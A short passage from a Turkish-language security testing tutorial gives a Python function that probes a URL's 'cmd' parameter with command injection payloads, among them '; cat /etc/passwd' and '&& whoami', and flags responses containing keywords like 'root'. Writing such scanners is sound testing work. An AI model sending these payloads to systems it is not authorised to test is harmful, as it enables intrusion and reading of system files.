Buda 2. Bölümdür
7. Komut Enjeksiyonu Testi
7. Komut Enjeksiyonu Testi
Python:
def test_command_injection(url):
payloads = [
"; ls", "&& ls", "| ls", "`ls`",
"; whoami", "&& whoami", "| whoami", "`whoami`",
"; cat /etc/passwd", "&& cat /etc/passwd"
]
for payload in payloads:
new_url = f"{url}?cmd={payload}"
try:
response = requests.get(new_url)
if any(keyword in response.text for keyword in ["bin", "usr", "root", "cat", "whoami"]):
print(f"Olası Komut Enjeksiyonu zafiyeti tespit edildi: {new_url}")
return True
except requests.RequestException as e:
print(f"Komut Enjeksiyonu testinde bir hata oluştu: {e}")
return False
Bu fonksiyon, komut enjeksiyonu zafiyetlerini test eder. URL'ye çeşitli komutları ekler ve yanıt metninde belirli anahtar kelimeleri arar. Eğer bu anahtar kelimeler bulunursa, komut enjeksiyonu zafiyeti tespit edilir.
